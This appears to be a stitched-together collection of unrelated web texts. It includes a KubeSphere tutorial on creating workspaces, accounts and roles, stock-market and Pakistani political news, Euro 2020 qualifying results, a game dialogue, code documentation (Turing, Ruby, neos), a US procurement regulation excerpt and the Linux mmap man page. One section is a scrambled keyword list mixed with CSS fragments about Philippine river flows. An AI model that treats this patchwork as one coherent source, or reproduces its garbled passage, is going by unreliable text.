快速入门
Create Workspace, Project, Account and Role
Objective
This guide demonstrates how to create roles and user accounts which are required for the following tutorials. Meanwhile, you will learn how to create projects and DevOps projects within your workspace where your workloads are running. After this tutorial, you will become familiar with KubeSphere multi-tenant management system.
Prerequisites
KubeSphere needs to be installed in your machine.
Estimated Time
About 15 minutes.
Architecture
The multi-tenant system of KubeSphere features three levels of hierarchical structure which are cluster, workspace and project. A project in KubeSphere is a Kubernetes namespace.
You can create multiple workspaces within a Kubernetes cluster. Under each workspace, you can also create multiple projects.
Each level has multiple built-in roles. Besides, KubeSphere allows you to create roles with customized authorization as well. The KubeSphere hierarchy is applicable for enterprise users with different teams or groups, and different roles within each team.
Hands-on Lab
Task 1: Create an Account
After KubeSphere is installed, you need to add different users with varied roles to the platform so that they can work at different levels on various resources. Initially, you only have one default account, which is admin, granted the role platform-admin
. In the first task, you will create an account user-manager
and further create more accounts as user-manager
.
- Log in the web console as
admin
with the default account and password (admin/P@88w0rd
).
提示
-
After you log in the console, click Platform in the top-left corner and select Access Control.
In Account Roles, there are four available built-in roles as shown below. The account to be created next will be assigned the role users-manager
.
| Built-in Roles | Description |
|---|---|
| workspaces-manager | Workspace manager in the platform who manages all workspaces in the platform. |
| users-manager | User manager in the platform who manages all users. |
| platform-regular | Normal user in the platform who has no access to any resources before joining a workspace or cluster. |
| platform-admin | Platform administrator who can manage all resources in the platform. |
备注
- In Accounts, click Create. In the pop-up window, provide all the necessary information (marked with *) and select
users-manager
for Role. Refer to the image below as an example.
Click OK after you finish. A newly-created account will display in the account list in Accounts.
- Log out of the console and log back in with the account
user-manager
to create four accounts that will be used in the following tutorials.
提示
For detailed information about the four accounts you need to create, refer to the table below.
| Account | Role | Description |
|---|---|---|
| ws-manager | workspaces-manager | Create and manage all workspaces. |
| ws-admin | platform-regular | Manage all resources in a specified workspace (This account is used to invite new members to a workspace in this example). |
| project-admin | platform-regular | Create and manage projects and DevOps projects, and invite new members into the projects. |
| project-regular | platform-regular | project-regular will be invited to a project or DevOps project by project-admin . This account will be used to create workloads, pipelines and other resources in a specified project. |
- Verify the four accounts created.
Task 2: Create a Workspace
In this task, you need to create a workspace using the account ws-manager
created in the previous task. As the basic logic unit for the management of projects, DevOps projects and organization members, workspaces underpin multi-tenant system of KubeSphere.
- Log in KubeSphere as
ws-manager
which has the authorization to manage all workspaces on the platform. Click Platform in the top-left corner. In Workspaces, you can see there is only one default workspace system-workspace listed, where system-related components and services run. You are not allowed to delete this workspace.
- Click Create on the right, name the new workspace
demo-workspace
and set the userws-admin
as the workspace manager shown in the screenshot below:
Click Create after you finish.
- Log out of the console and log back in as
ws-admin
. In Workspace Settings, select Workspace Members and click Invite Member.
- Invite both
project-admin
andproject-regular
to the workspace. Grant them the roleworkspace-self-provisioner
andworkspace-viewer
respectively.
备注
workspace name-role name
. For example, in this workspace named demo
, the actual role name of the role workspace-viewer
is demo-workspace-viewer
.- After you add both
project-admin
andproject-regular
to the workspace, click OK. In Workspace Members, you can see three members listed.
| Account | Role | Description |
|---|---|---|
| ws-admin | workspace-admin | Manage all resources under the workspace (We use this account to invite new members to the workspace). |
| project-admin | workspace-self-provisioner | Create and manage projects and DevOps projects, and invite new members to join the projects. |
| project-regular | workspace-viewer | project-regular will be invited by project-admin to join a project or DevOps project. The account can be used to create workloads, pipelines, etc. |
Task 3: Create a Project
In this task, you need to create a project using the account project-admin
created in the previous task. A project in KubeSphere is the same as a namespace in Kubernetes, which provides virtual isolation for resources. For more information, see Namespaces.
- Log in KubeSphere as
project-admin
. In Projects, click Create.
- Enter the project name (e.g.
demo-project
) and click OK to finish. You can also add an alias and description for the project.
- In Projects, click the project created just now to view its detailed information.
- In the overview page of the project, the project quota remains unset by default. You can click Set and specify resource requests and limits based on your needs (e.g. 1 core for CPU and 1000Gi for memory).
- Invite
project-regular
to this project and grant this user the roleoperator
. Please refer to the image below for specific steps.
信息
operator
will be a project maintainer who can manage resources other than users and roles in the project.Set Gateway
Before creating a route, you need to enable a gateway for this project. The gateway is an NGINX Ingress controller running in the project.
信息
- To set a gateway, go to Advanced Settings in Project Settings and click Set Gateway. The account
project-admin
is still used in this step.
- Choose the access method NodePort and click Save.
- Under Internet Access, it can be seen that the Gateway Address and the NodePort of http and https all display in the page.
备注
LoadBalancer
, you need to use the LoadBalancer plugin of cloud providers. If your Kubernetes cluster is running in a bare metal environment, it is recommended you use Porter as the LoadBalancer plugin.Task 4: Create a Role
After you finish the above tasks, you know that users can be granted different roles at different levels. The roles used in previous tasks are all built-in ones created by KubeSphere itself. In this task, you will learn how to define a role yourself to meet the needs in your work.
- Log in the console as
admin
again and go to Access Control. - In Account Roles, there are four system roles listed which cannot be deleted or edited. Click Create and set a Role Identifier. In this example, a role named
roles-manager
will be created.
备注
Click Edit Authorization to continue.
- In Access Control, select the authorization that you want the user granted this role to have. For example, Users View, Roles Management and Roles View are selected for this role. Click OK to finish.
备注
- Newly-created roles will be listed in Account Roles. You can click the three dots on the right to edit it.
- In Accounts, you can add a new account and grant it the role
roles-manager
or change the role of an existing account toroles-manager
by editing it.
备注
roles-manager
overlaps with users-manager
while the latter is also capable of user management. This example is only for demonstration purpose. You can create customized roles based on your needs.Task 5: Create a DevOps Project (Optional)
备注
- Log in the console as
project-admin
for this task. In DevOps Projects, click Create.
- Enter the DevOps project name (e.g.
demo-devops
) and click OK. You can also add an alias and description for the project.
- In DevOps Projects, click the project created just now to view its detailed information.
- Go to Project Management and select Project Members. Click Invite Member to grant
project-regular
the role ofoperator
, who is allowed to create pipelines and credentials.
Congratulations! You are now familiar with the multi-tenant management system of KubeSphere. In the next several tutorials, the account project-regular
will also be used to demonstrate how to create applications and resources in a project or DevOps project.


Sensex, Nifty open on a cautious note; IT stocks fall
After opening on a positive note, the 30-share index turned choppy to trade 15.89 points, or 0.04 per cent, lower at 40,559.28. Similarly, the broader Nifty slipped 20.45 points, or 0.17 %, to 11,947.95.
by PTIDomestic equity benchmarks opened on a cautious note on Friday tracking weakness in index-heavyweight IT stocks amid mixed global cues.
After opening on a positive note, the 30-share index turned choppy to trade 15.89 points, or 0.04 per cent, lower at 40,559.28. Similarly, the broader Nifty slipped 20.45 points, or 0.17 %, to 11,947.95.
Top losers in the Sensex pack included Infosys which fell up to 3 per cent, HCL Tech 1.67 %, Tech Mahindra 1.65 %, TCS 1.52 %, Bharti Airtel 1 % and Bajaj Auto 0.91 %.
On the other hand, Sun Pharma rose up to 3.16 %, NTPC 2.69 %, PowerGrid 2.30 % and RIL 1.74 %.
According to traders, fall in IT stocks amid reports of changes in US work visa requirements aimed at protecting American workers fuelled the overall weakness in the market.
On Thursday, the Sensex ended 76.47 points, or 0.19 %, lower at 40,575.17. The Nifty closed 30.70 points, or 0.26 per cent, down at 11,968.40.
Foreign institutional investors bought shares worth ₹ 5,023.54 crore in the capital market in the previous session, while domestic institutional investors sold equities worth ₹ 247.74 crore, data available with stock exchange showed.
Elsewhere in Asia, bourses in Hong Kong, Seoul and Tokyo were trading on a positive note, while those in Shanghai were in the red.
Stocks on Wall Street ended on a negative note on Thursday.
On the currency front, the rupee appreciated 4 paise (intra-day) against the US dollar to trade at 71.72 in early session.
Brent futures, the global oil benchmark, fell 0.59 per cent to $63.59 per barrel.


mark logger {{logger.id}} to delete
drop loggers in here or drag this box to logger
mark {{project.name}} to delete
drop projects here or drag this box to project


JUI-F summons resignations of NA members
by https://www.facebook.com/dunyanewsISLAMABAD (Dunya News) – JUI-F has asked its members to submit resignations from National Assembly to the leadership.
As per details, JUI-F leadership has decided to take resignations from its 15 members of National Assembly so that these resignations can be used at proper time.
Jamiat Ulema-e-Islam-Fazl (JUI-F) chief Fazlur Rehman on Monday has called ‘All Parties Conference (APC)’ at his residence in Islamabad for planning a joint course of action for the Azadi marchers to proceed for increasing pressure on the government. All opposition parties have been invited to attend the APC.
Addressing the gathering of Azadi March last night, JUI-F chief Maulana Fazlur Rehman said they (government) have to give right of vote to this nation. He said today only one city is locked and in future entire country can be locked.
"They are asking us to go and file complaints with the election commission," he said. "Election Commission is even more helpless than us," he added.
He said that if the election commission was not so helpless, such a large crowd wouldn t have assembled in Islamabad.
"We have decided not to go to any court or election commission," he said. "Only a parliamentary committee will decide about rigging."
Fazl said that a case of the PTI s foreign funding was being heard by the Election Commission since the past five years but no verdict had been given on it. "If it couldn t decide about the foreign funding case then what decision can the ECP give on other matters," he wondered.


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| Figure 1 |
Expected health risks posed by climate change by region. |
| Figure 2 |
Percentage of federal health adaptation initiatives by adapt ... |
| Figure 3 |
Percentage of federal health adaptation initiatives by healt ... |
| Figure 4 |
Types of climate change risks addressed by provincial and te ... |
| Figure 5 |
Percentage of health adaptation types by province or territo ... |
| Figure 6 |
Level of health adaptation by province or territory a. a The ... |
| Figure 7 |
Average percentage of adaptation type by jurisdiction. |
| Figure 8 |
Average percentage of groundwork initiatives and adaptation ... |


Euro 2020 takes shape as Netherlands, Germany and Croatia qualify
Paris - The Netherlands, Germany and World Cup finalists Croatia expanded a list of big hitters to qualify for Euro 2020 on Saturday as the trio booked their places at next summer's finals.
Austria also made it through to the multi-host tournament, which kicks off in Rome on June 12, with 16 sides now ensured of a spot at the 24-team event and only four places remaining from the main qualifying route.
They join other big names such like world champions France, Spain, Italy and England, with European champions Portugal one win away from qualification.
Ronald Koeman's resurgent Dutch needed a point to qualify for their first major tournament since coming third at the 2014 World Cup and got what they needed in a scrappy goalless draw with Northern Ireland in Belfast.
"It means a lot for us as players. Hopefully it means so much to the Dutch people," Liverpool defender Van Dijk said.
However they were far from the flamboyant outfit that has so often thrilled in Group C, and survived a huge scare when Steven Davis smashed a first-half penalty high over the bar.
The Dutch dominated possession and stopped the hosts from having a single shot on target but failed to create much themselves.
Davis' spot-kick blunder left Michael O'Neill's side third and hoping for a way into the tournament via the playoffs.
Germany join the Dutch
The draw allowed fierce rivals Germany to move top in the group as Toni Kroos hit a brace in a simple 4-0 win over Belarus in Moenchengladbach which saw them qualify for the Euros for the 13th time in a row.
A deft back-heeled goal from defender Matthias Ginter just before the break and impressive finishing by Leon Goretzka and Kroos gave the Germans a comfortable three-goal lead early in the second half.
Captain Manuel Neuer produced a superb save to keep out Belarus striker Igor Stasevich's penalty before Kroos dribbled through the defence to claim his second goal seven minutes from time and make sure of a routine win.
"Overall we did well, but at the moment I don't include us among the favourites for the European title," said Kroos, echoing coach Joachim Loew's comments from earlier in the week.
A win over Northern Ireland in Frankfurt on Tuesday will guarantee Loew's new-look side first place.
Croatia survived a scare to secure their place in the Euros after coming from behind beat Slovakia 3-1 in Rijeka.
The World Cup runners up needed just a point to ensure qualification from Group E but Robert Bozenik stunned the home crowd when he tapped the away side ahead in the 32nd minute.
However it was one-way traffic in the second half and Croatia's qualification was never in doubt once Nikola Vlasic drilled home the leveller.
Bruno Petkovic headed the hosts in front and Ivan Perisic sealed the three points with a thumping finish with 16 minutes left.
"We were trying to stay calm in the dressing room at half-time, we were sure that our quality would prevail. We kept attacking, creating chances, and the goals came," said Petkovic.
Wales with fighting chance
That win gives Wales a fighting chance of qualifying after their 2-0 victory over Azerbaijan earlier on Saturday.
Ryan Giggs' side stay third thanks to first-half headed goals from Kieffer Moore and Harry Wilson and Slovakia losing against the Croats.
They are just one point behind second-placed Hungary, who travel to Cardiff on the final day for a winner-takes-all clash.
"It's massive for us to get the three points and now we go again Tuesday," said Moore. "We came here for the three points and we got them -- now it's all guns blazing towards Tuesday."
Austria booked their place with a 2-1 win over North Macedonia that kept third-placed Slovenia at bay despite their 1-0 triumph over Latvia.
They are second in Group G behind Poland, who had already qualified going into this round of games but maintained a three-point lead at the top of the group thanks to a 2-1 win at Israel.
In Saint Petersburg, the Hazard brothers made short work of Russia as already-qualified Belgium maintained their 100 percent record with a 4-1 win that secured them top spot in Group I.
Eden and Thorgan Hazard put Roberto Martinez's side three goals ahead at the break before in-form Inter Milan striker Romelu Lukaku crashed home the fourth in the 72nd minute to make absolutely sure of the result.
Collated Euro 2020 qualifying results on Saturday:
Group C
At Belfast
Northern Ireland 0 Netherlands 0
At Moenchengladbach, Germany
Germany 4 (Ginter 41, Goretzka 49, Kroos 55, 83) Belarus 0
Group E
At Baku
Azerbaijan 0 Wales 2 (Moore 10, Wilson 34)
At Rijeka, Croatia
Croatia 3 (Vlasic 56, Petkovic 60, Perisic 74) Slovakia 1 (Bozenik 32)
Group G
At Vienna
Austria 2 (Alaba 8, Lainer 48) North Macedonia 1 (Stojanovski 90+3)
At Jerusalem
Israel 1 (Dabbur 88) Poland 2 (Krychowiak 4, K. Piatek 54)
At Ljubljana
Slovenia 1 (Tarasovs 53-og) Latvia 0
Group I
At Saint Petersburg, Russia
Russia 1 (Dzhikiya 79) Belgium 4 (T. Hazard 19, E. Hazard 33, 40, Lukaku 72)
At Serravalle, San Marino
San Marino 1 (Berardi 77) Kazakhstan 3 (Zainutdinov 6, Suyumbayev 23, Schetkin 27)
At Nicosia
Cyprus 1 (Efrem 47) Scotland 2 (Christie 12, McGinn 53)
Played on Friday:
Group D
At Copenhagen
Denmark 6 (Skov 12, 64, Gytkjaer 47, Braithwaite 51, Eriksen 85, 90+4) Gibraltar 0
At St Gallen, Switzerland
Switzerland 1 (Itten 77) Georgia 0
Group F
At Oslo
Norway 4 (Reginiussen 4, Fossum 8, Sorloth 62, 65) Faroe Islands 0
At Bucharest
Romania 0 Sweden 2 (Berg 18, Quaison 34)
At Cadiz, Spain
Spain 7 (Morata 23, Cazorla 41, Pau Torres 62, Sarabia 63, Olmo 69, Gerard Moreno 71, Navas 85) Malta 0
Group J
At Yerevan
Armenia 0 Greece 1 (Limnios 35)
At Helsinki
Finland 3 (Tuominen 21, Pukki 64-pen, 75) Liechtenstein 0
At Zenica, Bosnia and Herzegovina
Bosnia and Herzegovina 0 Italy 3 (Acerbi 21, Insigne 37, Belotti 52)
Played on Thursday:
Group A
At Plzen, Czech Republic
Czech Republic 2 (Krai 71, Celustka 79) Kosovo 1 (Nuhiu 50)
At London
England 7 (Oxlade-Chamberlain 11, Kane 19, 24, 37, Rashford 30, Sofranac 66-og, Abraham 84) Montenegro 0
Group B
At Faro, Portugal
Portugal 6 (Ronaldo 7-pen, 22, 65, Pizzi 52, Paciencia 56, Bernardo Silva 63) Lithuania 0
At Belgrade
Serbia 3 (Mitrovic 11, 43, Radonjic 70) Luxembourg 2 (Rodrigues 54, Turpel 75)
Group H
At Elbasan, Albania
Albania 2 (Balaj 6, Manaj 55) Andorra 2 (Martinez 18, 48)
At Paris
France 2 (Varane 35, Giroud 79-pen) Moldova 1 (Rata 9)
At Istanbul, Turkey
Turkey 0 Iceland 0


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Warehouse Keeper Norman:
Here is the reward for your hard work... The reward is provided by the Iron Gate Guild and the Gludio Territory Reconstruction Fund... What! It's not enough?
"I'll keep working for you."
"I quit."


Mind / Mental Training Articles
Obsession - do you have the right balance in your life? -
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Train like you fight -
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--- title: neos.models keywords: fastai sidebar: home_sidebar summary: "This module implements a very lightweght version of pyhf-like model building. For now, there are some hard-coded numbers (bounds, init) that help with the three gaussian blobs demonstration." description: "This module implements a very lightweght version of pyhf-like model building. For now, there are some hard-coded numbers (bounds, init) that help with the three gaussian blobs demonstration." nb_path: "nbs/99_models.ipynb" ---
import jax
import jax.numpy as jnp
import neos
from neos.models import hepdata_like
# three-bin model example data
sig = jnp.asarray([20, 40, 3])
bkg = jnp.asarray([40, 20, 3])
uncert = jnp.asarray([3, 3, 3])
# construct model
m = hepdata_like(sig, bkg, uncert)
d = m.expected_data([1.0, 1.0])
# need scalar output (logpdf returns array w/ one element)
def logpdf_scalar(pars):
return m.logpdf(pars, d)[0]
# check we can get gradients!
jax.value_and_grad(logpdf_scalar)([2.0, 1.0])


--- layout: post title: Upcoming Talks in Cambridge, MA date: 2008-06-14 00:09:25.000000000 -07:00 categories: - talks and presentations tags: [] status: publish type: post published: true meta: _edit_last: '1' author: login: ckelty email<EMAIL_ADDRESS>display_name: ckelty first_name: Christopher last_name: Kelty excerpt: !ruby/object:Hpricot::Doc options: {} ---
I'm giving two presentations about the book in Cambridge before I leave for the year.
The first will be at the Berkman Center for Internet and Society's lunch series. I've been hanging out at the Berkman Center off and on this year, and I'm eager to hear from the smart people who hang out there. June 17, noon-thirty.
The other will be as part of the MIT Press Bookstore's Authors@MIT series. I'm especially proud of this one because once upon a time I worked at the MIT Press bookstore, and often helped organize exactly this kind of event. It's like coming home... I often say that I would never have gotten to this point without that job; i've never felt so tuned in to the state of scholarship as when I spent 20hrs a week thinking about new books... I doubt I will ever be as hip as I was working there... June 24th 5:30pm


Draw.Line
Syntax
Draw.Line (x1, y1, x2, y2, Color : int)
Description
The Draw.Line procedure is used to draw a line on the screen from (x1, y1) to (x2, y2) using the specified Color.
Example
This program draws a large X, reaching to each corner of the screen using color number 1. The maxx and maxy functions are used to determine the maximum x and y values on the screen. The point (0,0) is the left bottom of the screen, (maxx, maxy) is the right top, etc.
View.Set ("graphics")
% First draw a line from the left bottom to right top
Draw.Line (0, 0, maxx, maxy, 1)
% Now draw a line from the left top to right bottom
Draw.Line (0, maxy, maxx, 0, 1)
Details
The screen must be in a "graphics" mode. See the View.Set procedure for details. If the screen is not in a "graphics" mode, an error will occur.
Status
Exported qualified.
This means that you can only call the function by calling Draw.Line, not by calling Line.
See also
View.Set, maxx, maxy and the various procedures in the Draw unit.


climate increase water data river model Climate Fig dry wet change flow {border-style scenarios compared px;} used using #ffffff;} Philippines hydrological GCMs basins return Type flows results Earth Sciences availability baseline measured season Water balance decrease different variability Change flood impact impacts period periods season. PLMT Visayas agricultural basin discharge distribution downscaled maximum models peak px; relatively shown {font-family Philippines. assess calculated country font-size monthly runoff streamflow study values CNCM Gumbel HK. However, River STREAM basins, current double; expected flows. future higher indicates land magnitude modelled number overall potential predicted represents resources specific Aerts Data Hydrological Luzon Mindanao [], areas basins. border-color border-width calibration climatic data, distributions experience global median rainfall scenario scenario. scenarios. seasonal solid; stream variability, {font-style {font-weight Aquatic Coronas ERA-Interim Food MPEH Philippines, Science University area associated available bar bold change, coarse comparing country. courier; developed difference distributed downscaling effects em; erosion especially function general historical include increased interpolated located lower major parts performance probability pt;} regimes represent reveals risk scale season, selected series shows simulations soil study. temporal trend various volumetric


| Module | ArkanisDevelopment::SimpleLocalization::LocalizedModelsByLangFile |
| In: |
lib/features/localized_models_by_lang_file.rb
|
This method adds the localized_model_name and the human_attribute_name to the ActiveRecord::Base class. The original human_attribute_name is still available as human_attribute_name_without_localization.
localized_model_name returns the localized model name from the language file. If no localized name is available nil is returned.
The new human_attribute_name looks for the localized name of the attribute. If the language file does not contain a matching entry the requrest will be redirected to the original human_attribute_name method.
Note: since we are extending ActiveRecord::Base it‘s possible to call both methods directly on the base class (the scaffold method does this indirectly on the human_attribute_name method using Column#human_name). In this case we simply don‘t know which table or model we belong to and therefore we can‘t access the localized data. To prevent error messages in this situation ("undefined method `abstract_class?’ for Object:Class" because Base#table_name doesn‘t work here) localized_model_name returns nil and human_attribute_name delegates the request to it‘s former non localized version (which doesn‘t need to know the table name because it simply asks the Inflector).
This drawback of the scaffold method is fixed by the localized_column_human_name extension.
# File lib/features/localized_models_by_lang_file.rb, line 65 65: def self.included(base) 66: class << base 67: 68: def localized_model_name 69: return nil if self == ActiveRecord::Base 70: Language.entry :models, self.to_s.underscore.to_sym, :name 71: rescue EntryNotFound 72: nil 73: end 74: 75: alias_method :human_attribute_name_without_localization, :human_attribute_name 76: 77: def human_attribute_name(attribute_key_name) 78: attribute_key_name = attribute_key_name.to_s 79: return human_attribute_name_without_localization(attribute_key_name) if self == ActiveRecord::Base 80: Language.entry!(:models, self.to_s.underscore.to_sym, :attributes, attribute_key_name) 81: rescue EntryNotFound 82: human_attribute_name_without_localization(attribute_key_name) 83: end 84: 85: end 86: end


I was a student in Kabarak University University in Nakuru where i studied Bachelor of business in finance graduating this year December.
I later joined a coding school called Moringa to sharpen my skills for the next 20 weeks where i will later decide to do either full stack development or android and ready for new opportunities..The decision will be based on my understanding and passion at the moment.
I worked as an intern at KCB Bank where i worked as an inten in the Digital Finance sector for three months.While at Kcb i got a chance to interact with great minds and also learnt new skills here and there.
I am more of an outdoor person,and there are afew things that i like to do during my free time


This part prescribes policies and procedures to promote full and open competition in the acquisition process and to provide for full and open competition, full and open competition after exclusion of sources, other than full and open competition, and advocates for competition. This part does not deal with the results of competition (e.g., adequate price competition), that are addressed in other parts (e.g., Part 15).
This part applies to all acquisitions except—
(a) Contracts awarded using the simplified acquisition procedures of Part 13 (but see 13.501 for requirements pertaining to sole source acquisitions of commercial items under subpart 13.5);
(b) Contracts awarded using contracting procedures (other than those addressed in this part) that are expressly authorized by statute;
(c) Contract modifications, including the exercise of priced options that were evaluated as part of the initial competition (see 17.207(f)), that are within the scope and under the terms of an existing contract;
(d) Orders placed under requirements contracts or definite-quantity contracts;
(e) Orders placed under indefinite-quantity contracts that were entered into pursuant to this part when—
(1) The contract was awarded under subpart 6.1 or 6.2 and all responsible sources were realistically permitted to compete for the requirements contained in the order; or
(2) The contract was awarded under subpart 6.3 and the required justification and approval adequately covers the requirements contained in the order; or
(f) Orders placed against task order and delivery order contracts entered into pursuant to subpart 16.5.
No agency shall contract for supplies or services from another agency for the purpose of avoiding the requirements of this part.
This subpart prescribes the policy and procedures that are to be used to promote and provide for full and open competition.
(a) 10 U.S.C. 2304 and 41 U.S.C. 3301 require, with certain limited exceptions (see subpart 6.2 and 6.3), that contracting officers shall promote and provide for full and open competition in soliciting offers and awarding Government contracts.
(b) Contracting officers shall provide for full and open competition through use of the competitive procedure(s) contained in this subpart that are best suited to the circumstances of the contract action and consistent with the need to fulfill the Government’s requirements efficiently (10 U.S.C. 2304 and 41 U.S.C. 3301).
The competitive procedures available for use in fulfilling the requirement for full and open competition are as follows:
(a) Sealed bids. (See 6.401(a).)
(b) Competitive proposals. (See 6.401(b).) If sealed bids are not appropriate under paragraph (a) of this section, contracting officers shall request competitive proposals or use the other competitive procedures under paragraph (c) or (d) of this section.
(c) Combination of competitive procedures. If sealed bids are not appropriate, contracting officers may use any combination of competitive procedures (e.g., two-step sealed bidding).
(d) Other competitive procedures.
(1) Selection of sources for architect-engineer contracts in accordance with the provisions of 40 U.S.C. 1102 et seq. is a competitive procedure (see subpart 36.6 for procedures).
(2) Competitive selection of basic and applied research and that part of development not related to the development of a specific system or hardware procurement is a competitive procedure if award results from—
(i) A broad agency announcement that is general in nature identifying areas of research interest, including criteria for selecting proposals, and soliciting the participation of all offerors capable of satisfying the Government’s needs; and
(ii) A peer or scientific review.
(3) Use of multiple award schedules issued under the procedures established by the Administrator of General Services consistent with the requirement of 41 U.S.C. 152(3)(A) for the multiple award schedule program of the General Services Administration is a competitive procedure.


mmap, munmap - map or unmap files or devices into memory
#include <sys/mman.h>
void *mmap(void *addr, size_t length, int prot, int flags,
int fd, off_t offset);
int munmap(void *addr, size_t length);
See NOTES for information on feature test macro requirements.
mmap() creates a new mapping in the virtual address space of the calling
process. The starting address for the new mapping is specified in addr.
The length argument specifies the length of the mapping (which must be
greater than 0).
If addr is NULL, then the kernel chooses the (page-aligned)
address at which to create the mapping; this is the most portable method of
creating a new mapping. If addr is not NULL, then the kernel takes it
as a hint about where to place the mapping; on Linux, the kernel will pick a
nearby page boundary (but always above or equal to the value specified by
/proc/sys/vm/mmap_min_addr) and attempt to create the mapping there.
If another mapping already exists there, the kernel picks a new address that
may or may not depend on the hint. The address of the new mapping is
returned as the result of the call.
The contents of a file mapping (as opposed to an anonymous
mapping; see MAP_ANONYMOUS below), are initialized using
length bytes starting at offset offset in the file (or other
object) referred to by the file descriptor fd. offset must be
a multiple of the page size as returned by
sysconf(_SC_PAGE_SIZE).
After the mmap() call has returned, the file descriptor,
fd, can be closed immediately without invalidating the mapping.
The prot argument describes the desired memory protection
of the mapping (and must not conflict with the open mode of the file). It is
either PROT_NONE or the bitwise OR of one or more of the following
flags:
- PROT_EXEC
- Pages may be executed.
- PROT_READ
- Pages may be read.
- PROT_WRITE
- Pages may be written.
- PROT_NONE
- Pages may not be accessed.
The flags argument determines whether updates to the
mapping are visible to other processes mapping the same region, and whether
updates are carried through to the underlying file. This behavior is
determined by including exactly one of the following values in
flags:
- MAP_SHARED
- Share this mapping. Updates to the mapping are visible to other processes
mapping the same region, and (in the case of file-backed mappings) are
carried through to the underlying file. (To precisely control when updates
are carried through to the underlying file requires the use of
msync(2).)
- MAP_SHARED_VALIDATE (since Linux 4.15)
- This flag provides the same behavior as MAP_SHARED except that
MAP_SHARED mappings ignore unknown flags in flags. By
contrast, when creating a mapping using MAP_SHARED_VALIDATE, the
kernel verifies all passed flags are known and fails the mapping with the
error EOPNOTSUPP for unknown flags. This mapping type is also
required to be able to use some mapping flags (e.g.,
MAP_SYNC).
- MAP_PRIVATE
- Create a private copy-on-write mapping. Updates to the mapping are not
visible to other processes mapping the same file, and are not carried
through to the underlying file. It is unspecified whether changes made to
the file after the mmap() call are visible in the mapped
region.
Both MAP_SHARED and MAP_PRIVATE are described in
POSIX.1-2001 and POSIX.1-2008. MAP_SHARED_VALIDATE is a Linux
extension.
In addition, zero or more of the following values can be ORed in
flags:
- MAP_32BIT (since Linux 2.4.20, 2.6)
- Put the mapping into the first 2 Gigabytes of the process address space.
This flag is supported only on x86-64, for 64-bit programs. It was added
to allow thread stacks to be allocated somewhere in the first 2 GB
of memory, so as to improve context-switch performance on some early
64-bit processors. Modern x86-64 processors no longer have this
performance problem, so use of this flag is not required on those systems.
The MAP_32BIT flag is ignored when MAP_FIXED is set.
- MAP_ANON
- Synonym for MAP_ANONYMOUS. Deprecated.
- MAP_ANONYMOUS
- The mapping is not backed by any file; its contents are initialized to
zero. The fd argument is ignored; however, some implementations
require fd to be -1 if MAP_ANONYMOUS (or MAP_ANON) is
specified, and portable applications should ensure this. The offset
argument should be zero. The use of MAP_ANONYMOUS in conjunction
with MAP_SHARED is supported on Linux only since kernel 2.4.
- MAP_DENYWRITE
- This flag is ignored. (Long ago—Linux 2.0 and earlier—it
signaled that attempts to write to the underlying file should fail with
ETXTBUSY. But this was a source of denial-of-service attacks.)
- MAP_EXECUTABLE
- This flag is ignored.
- MAP_FILE
- Compatibility flag. Ignored.
- MAP_FIXED
- Don't interpret addr as a hint: place the mapping at exactly that
address. addr must be suitably aligned: for most architectures a
multiple of the page size is sufficient; however, some architectures may
impose additional restrictions. If the memory region specified by
addr and len overlaps pages of any existing mapping(s), then
the overlapped part of the existing mapping(s) will be discarded. If the
specified address cannot be used, mmap() will fail.
- Software that aspires to be portable should use the MAP_FIXED flag
with care, keeping in mind that the exact layout of a process's memory
mappings is allowed to change significantly between kernel versions, C
library versions, and operating system releases. Carefully read the
discussion of this flag in NOTES!
- MAP_FIXED_NOREPLACE (since Linux 4.17)
- This flag provides behavior that is similar to MAP_FIXED with
respect to the addr enforcement, but differs in that
MAP_FIXED_NOREPLACE never clobbers a preexisting mapped range. If
the requested range would collide with an existing mapping, then this call
fails with the error EEXIST. This flag can therefore be used as a
way to atomically (with respect to other threads) attempt to map an
address range: one thread will succeed; all others will report
failure.
- Note that older kernels which do not recognize the
MAP_FIXED_NOREPLACE flag will typically (upon detecting a collision
with a preexisting mapping) fall back to a
"non-MAP_FIXED" type of behavior: they will return an
address that is different from the requested address. Therefore,
backward-compatible software should check the returned address against the
requested address.
- MAP_GROWSDOWN
- This flag is used for stacks. It indicates to the kernel virtual memory
system that the mapping should extend downward in memory. The return
address is one page lower than the memory area that is actually created in
the process's virtual address space. Touching an address in the
"guard" page below the mapping will cause the mapping to grow by
a page. This growth can be repeated until the mapping grows to within a
page of the high end of the next lower mapping, at which point touching
the "guard" page will result in a SIGSEGV signal.
- MAP_HUGETLB (since Linux 2.6.32)
- Allocate the mapping using "huge pages." See the Linux kernel
source file Documentation/admin-guide/mm/hugetlbpage.rst for
further information, as well as NOTES, below.
- MAP_HUGE_2MB, MAP_HUGE_1GB (since Linux 3.8)
- Used in conjunction with MAP_HUGETLB to select alternative hugetlb
page sizes (respectively, 2 MB and 1 GB) on systems that
support multiple hugetlb page sizes.
- More generally, the desired huge page size can be configured by encoding
the base-2 logarithm of the desired page size in the six bits at the
offset MAP_HUGE_SHIFT. (A value of zero in this bit field provides
the default huge page size; the default huge page size can be discovered
via the Hugepagesize field exposed by /proc/meminfo.) Thus,
the above two constants are defined as:
-
#define MAP_HUGE_2MB (21 << MAP_HUGE_SHIFT)
#define MAP_HUGE_1GB (30 << MAP_HUGE_SHIFT)
- The range of huge page sizes that are supported by the system can be
discovered by listing the subdirectories in
/sys/kernel/mm/hugepages.
- MAP_LOCKED (since Linux 2.5.37)
- Mark the mapped region to be locked in the same way as mlock(2).
This implementation will try to populate (prefault) the whole range but
the mmap() call doesn't fail with ENOMEM if this fails.
Therefore major faults might happen later on. So the semantic is not as
strong as mlock(2). One should use mmap() plus
mlock(2) when major faults are not acceptable after the
initialization of the mapping. The MAP_LOCKED flag is ignored in
older kernels.
- MAP_NONBLOCK (since Linux 2.5.46)
- This flag is meaningful only in conjunction with MAP_POPULATE.
Don't perform read-ahead: create page tables entries only for pages that
are already present in RAM. Since Linux 2.6.23, this flag causes
MAP_POPULATE to do nothing. One day, the combination of
MAP_POPULATE and MAP_NONBLOCK may be reimplemented.
- MAP_NORESERVE
- Do not reserve swap space for this mapping. When swap space is reserved,
one has the guarantee that it is possible to modify the mapping. When swap
space is not reserved one might get SIGSEGV upon a write if no
physical memory is available. See also the discussion of the file
/proc/sys/vm/overcommit_memory in proc(5). In kernels before
2.6, this flag had effect only for private writable mappings.
- MAP_POPULATE (since Linux 2.5.46)
- Populate (prefault) page tables for a mapping. For a file mapping, this
causes read-ahead on the file. This will help to reduce blocking on page
faults later. MAP_POPULATE is supported for private mappings only
since Linux 2.6.23.
